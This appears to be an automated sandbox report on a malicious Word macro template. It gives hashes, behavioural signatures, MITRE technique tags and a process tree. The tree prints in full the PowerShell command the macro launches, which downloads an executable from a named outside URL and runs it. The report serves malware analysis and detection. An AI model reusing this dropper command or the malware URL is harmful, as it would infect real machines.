Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2024 12:42

General

  • Target

    2020-01-06_193259.dotm

  • Size

    21KB

  • MD5

    4f02c50f97c3b12f7ea10760b6e0d490

  • SHA1

    2c66fbf312c036fe407d2acd95b9d666a5a1b2ea

  • SHA256

    312fb2addec654d2322674d8c47aeef7cda941cb9047fc311affbdd2fff2297a

  • SHA512

    0210659f3f725f7b2e748b4fffff5219510a21a1b77110e80d76da2a01526505495c6737d80d3cc145d2dae7d023729cdb87930479d133d4bc92a7d963fd72a5

  • SSDEEP

    384:3ea5s/dhP6E+xUJUnhOQG6SG6F7//o4MAuVNci1VBW:ut1hCnUCnweAuvcci

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kccambodia.com/exe/okayf.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-06_193259.dotm"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $client = new-object System.Net.WebClient;$a = 'http://kccambodia.com/exe/okayf.exe'.Split(',');$huas = $env:temp + '\fvlzrrmswjw.exe';foreach($b in $a){try{$client.DownloadFile($b.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message}};
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2652
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2736

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/2652-20-0x0000000005520000-0x0000000005572000-memory.dmp

      Filesize

      328KB

    • memory/2868-13-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-9-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-4-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-10-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-16-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-15-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-0-0x000000002F711000-0x000000002F712000-memory.dmp

      Filesize

      4KB

    • memory/2868-5-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-11-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-8-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-7-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-2-0x000000007164D000-0x0000000071658000-memory.dmp

      Filesize

      44KB

    • memory/2868-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2868-30-0x000000007164D000-0x0000000071658000-memory.dmp

      Filesize

      44KB

    • memory/2868-31-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2868-32-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB